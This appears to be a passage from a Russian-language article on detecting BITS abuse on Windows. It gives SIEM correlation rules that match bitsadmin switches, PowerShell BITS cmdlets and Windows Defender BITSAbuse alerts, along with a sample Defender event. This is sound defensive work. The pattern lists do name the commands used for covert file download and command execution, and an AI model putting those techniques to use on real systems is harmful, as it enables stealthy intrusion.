rule Download_file_via_bits: Create_file
Ищем аргументы командной строки и командлетов PowerShell
Мы изучили много способов взаимодействия с BITS, настало время написать правило обнаружения, основанное на аргументах утилиты bitsadmin и командлетах PowerShell.
event Process_Start:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and (
filter::ProcessStart_Windows_commandline("bitsadmin.exe", ".*transfer.*|.*create.*|.*addfile.*|.*setnotifyflags.*|.*setnotifycmdline.*|.*setminretrydelay.*|.*setcustomheaders.*|.*resume.*")
or
filter::ProcessStart_Windows_commandline("powershell.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*")
or
filter::ProcessStart_Windows_commandline("powershell_ise.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*")
)
}
event Powershell_Pipeline_Execute:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "4104"
and action == "execute"
and event_src.title == "windows"
and object == "command"
and event_src.subsys == "Microsoft-Windows-PowerShell/Operational"
and (
match(lower(object.process.cmdline),"*start-bitstransfer*")
or
match(lower(object.process.cmdline),"*add-bitsfile*")
or
match(lower(object.process.cmdline),"resume-bitstransfer")
or
match(lower(object.process.cmdline),"*set-bitstransfer*")
or
match(lower(object.process.cmdline),"*bits.manager*")
# Командлеты PowerShell для WinRM
or match(lower(object.process.cmdline),"*wmi/root/microsoft/bits/bitsclientjob*")
# Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/bits/bits-compact-server
or match(lower(object.process.cmdline),"*root\\microsoft\\bits*")
or match(lower(object.process.cmdline),"*bitscompactserverurlgroup*")
)
}
event Powershell_Command_Execute:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "4103"
and action == "execute"
and event_src.title == "windows"
and object == "command"
and event_src.subsys == "Microsoft-Windows-PowerShell/Operational"
and (
match(lower(object.process.cmdline),"*start-bitstransfer*")
or
match(lower(object.process.cmdline),"*add-bitsfile*")
or
match(lower(object.process.cmdline),"resume-bitstransfer")
or
match(lower(object.process.cmdline),"*set-bitstransfer*")
or
match(lower(object.process.cmdline),"*bits.manager*")
# Командлеты PowerShell для WinRM
or match(lower(object.process.cmdline),"*wmi/root/microsoft/bits/bitsclientjob*")
# Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/bits/bits-compact-server
or
match(lower(object.process.cmdline),"*root\\microsoft\\bits*")
or match(lower(object.process.cmdline),"*bitscompactserverurlgroup*")
)
}
rule Create_bits_job_cmdline: (Process_Start or Powershell_Pipeline_Execute or Powershell_Command_Execute) timer 5m
Правило создаст инцидент, если имя процесса — bitsadmin.
, powershell.
, powershell_ise.
и аргументы командной строки совпадают с определенным паттерном, а также если в событиях с EventID 4103 и 4104 журнала Operational
поля с командлетами совпадают с одной из масок.
Обнаружение эксплуатации BITS с помощью Windows Defender
Мы говорили выше, что Windows Defender реагирует на команды, используемые для работы с BITS. Давай напишем правило корреляции, которое будет создавать инцидент, если название вердикта Windows Defender совпадает с маской *bits*
.
event Defender_alert:
key:
event_src.host
filter {
msgid == "1116"
and event_src.subsys == "Microsoft-Windows-Windows Defender/Operational"
and match(lower(object.name), "*bits*")
}
rule Windows_defender_BITS_alert: Defender_alert+ timer 5m
Пример события Windows Defender:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System> <Provider Name="**Microsoft-Windows-Windows Defender**" Guid="**{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}**" /> <EventID>1116</EventID> <Version>0</Version> <Level>3</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="**2024-08-11T19:12:41.8598837Z**" /> <EventRecordID>1051</EventRecordID> <Correlation /> <Execution ProcessID="**3580**" ThreadID="**2036**" /> <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> <Computer>DESKTOP-U2FH49E</Computer> <Security UserID="**S-1-5-18**" /></System><EventData> <Data Name="**Product Name**">Антивирусная программа Microsoft Defender</Data> <Data Name="**Product Version**">4.18.24070.5</Data> <Data Name="**Detection ID**">{0F54C4AA-B2B9-4FA7-BE0F-ADE9E3F93620}</Data> <Data Name="**Detection Time**">2024-08-11T19:12:41.858Z</Data> <Data Name="**Unused**" /> <Data Name="**Unused2**" /> <Data Name="**Threat ID**">2147728776</Data> <Data Name="**Threat Name**">Behavior:Win32/BITSAbuse.As</Data> <Data Name="**Severity ID**">5</Data> <Data Name="**Severity Name**">Критический</Data> <Data Name="**Category ID**">46</Data> <Data Name="**Category Name**">Подозрительное поведение</Data> <Data Name="**FWLink**">https://go.microsoft.com/fwlink/?linkid=37020&name=Behavior:Win32/BITSAbuse.As&threatid=2147728776&enterprise=0</Data> <Data Name="**Status Code**">1</Data> <Data Name="**Status Description**" /> <Data Name="**State**">1</Data> <Data Name="**Source ID**">0</Data> <Data Name="**Source Name**">Неизвестно</Data> <Data Name="**Process Name**">Unknown</Data> <Data Name="**Detection User**" /> <Data Name="**Unused3**" /> <Data Name="**Path**">behavior:_process: C:\Windows\System32\bitsadmin.exe, pid:420:111822694772619; process:_pid:420,ProcessStart:133678771617165578</Data> <Data Name="**Origin ID**">0</Data> <Data Name="**Origin Name**">Неизвестно</Data> <Data Name="**Execution ID**">3</Data> <Data Name="**Execution Name**">Выполнение</Data> <Data Name="**Type ID**">0</Data> <Data Name="**Type Name**">Конкретный</Data> <Data Name="**Pre Execution Status**">0</Data> <Data Name="**Action ID**">9</Data> <Data Name="**Action Name**">Неприменимо</Data> <Data Name="**Unused4**" /> <Data Name="**Error Code**">0x00000000</Data> <Data Name="**Error Description**">Операция успешно завершена.</Data> <Data Name="**Unused5**" /> <Data Name="**Post Clean Status**">0</Data> <Data Name="**Additional Actions ID**">0</Data> <Data Name="**Additional Actions String**">No additional actions required</Data> <Data Name="**Remediation User**" /> <Data Name="**Unused6**" /> <Data Name="**Security intelligence Version**">AV: 1.417.66.0, AS: 1.417.66.0, NIS: 1.417.66.0</Data> <Data Name="**Engine Version**">AM: 1.1.24070.3, NIS: 1.1.24070.3</Data> </EventData></Event>
www
Все правила обнаружения из этой статьи ты можешь найти в пул‑реквесте на GitHub.
Выводы
Не секрет, что в операционных системах есть все нужное для достижения целей хакеров. Достаточно вникнуть в тонкости работы стандартных инструментов, и при необходимости можно не только обойтись ими, но и лучше избежать обнаружения.
Защитникам же рекомендую внимательнее писать правила и стараться добиться увеличения как точности (precision), так и полноты (recall).